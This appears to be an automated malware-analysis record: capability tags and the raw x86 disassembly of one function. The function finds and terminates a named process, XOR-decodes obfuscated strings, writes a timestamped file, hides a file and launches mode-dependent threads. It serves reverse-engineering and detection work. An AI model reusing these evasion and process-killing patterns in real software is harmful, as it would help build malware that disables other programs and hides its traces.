Function at 0x100257f0
Capabilities:
Create thread
Encode data using xor
Enumerate processes
Set file attributes
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x12c]
sub esp, 0x12c
push 0xffffffffffffffff
push 0x10029d5b
mov eax, dword fs:[0]
push eax
sub esp, 0x174
mov eax, dword [0x10040bd0]
xor eax, ebp
mov dword [ebp + 0x128], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 0x134]
push 0
push 2
mov dword [ebp - 0x18], ebx
mov dword [ebp], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10025897
mov ecx, ebx
lea eax, [ebp + 0x24]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10025880
test dl, dl
je 0x1002587c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10025880
add eax, 2
add ecx, 2
test dl, dl
jne 0x10025860
xor eax, eax
jmp 0x10025885
sbb eax, eax
or eax, 1
test eax, eax
je 0x100258c6
lea eax, [ebp]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10025855
cmp esi, 0xffffffff
je 0x100258a3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x128]
xor ecx, ebp
call fcn.10027810
lea esp, [ebp + 0x12c]
pop ebp
ret
push dword [ebp + 8]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [0x1004106c], 1
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
jne 0x100259e6
mov dword [ebp - 0x10], 0x10038cf8
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10025947
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1002593b
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10025922
mov byte [eax + edi], 0
mov esi, edi
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
push 1
push 0x40
push 8
push esi
lea ecx, [ebp - 0x180]
call fcn.10004a10
mov dword [ebp - 0x10], 0x10038d20
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x100259af
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x100259a9
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10025990
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0x180]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x18]
lea eax, [ebp - 0x180]
push eax
call fcn.100045b0
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x180]
call fcn.10005000
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
cmp dword [0x1004107c], 1
jne 0x10025c63
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ucrtbased.dll__time64]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.ucrtbased.dll__localtime64]
mov dword [ebp - 0x10], str.HW
add esp, 8
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x10025a5f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10025a59
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10025a40
mov byte [eax + edi], 0
mov esi, edi
push 1
push 0x40
push 8
push esi
lea ecx, [ebp - 0xd0]
call fcn.10004a10
mov dword [ebp - 0x10], str.av2__
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x10025acf
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x10], eax
test eax, eax
je 0x10025ac9
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x10]
cmp edx, eax
jb 0x10025ab0
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x14]
call dword [sym.imp.ucrtbased.dll_asctime]
push eax
lea eax, [ebp - 0xd0]
push eax
call fcn.100045b0
mov dword [ebp - 0x10], 0x10038d80
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10025b4f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025b49
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x10025b30
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x18]
lea eax, [ebp - 0xd0]
push eax
call fcn.100045b0
mov dword [ebp - 0x10], 0x10038da4
add esp, 0x10
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10025bc1
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025bbb
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x10025ba2
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.100045b0
add esp, 8
lea ecx, [ebp - 0xcc]
call fcn.100054f0
test eax, eax
jne 0x10025bfa
push eax
mov eax, dword [ebp - 0xd0]
lea ecx, [ebp - 0xd0]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x10], 0x10038de0
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10025c4f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025c49
sub esi, edi
nop
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x10025c30
mov byte [eax + edi], 0
mov esi, edi
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xd0]
call fcn.10005000
mov eax, dword [0x10041070]
push 0
cmp eax, 1
jne 0x10025c95
push 0
push 0
push 0x10025dc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x10025ca5
push 0
push 0
push 0x10025d40
jmp 0x10025c78
cmp eax, 3
jne 0x10025cb5
push 0
push 0
push 0x10025e40
jmp 0x10025c78
cmp eax, 4
jne 0x10025c8f
push 0
push 0
push 0x10026da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x10], 0x10038df8
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x10]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x10025d20
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10025d1a
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + esi]
mov byte [ecx], al
mov eax, dword [ebp - 0x14]
cmp edx, eax
jb 0x10025d01
mov byte [eax + edi], 0
mov esi, edi
push 0x200010
push esi
push dword [ebp - 0x18]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x10025c8d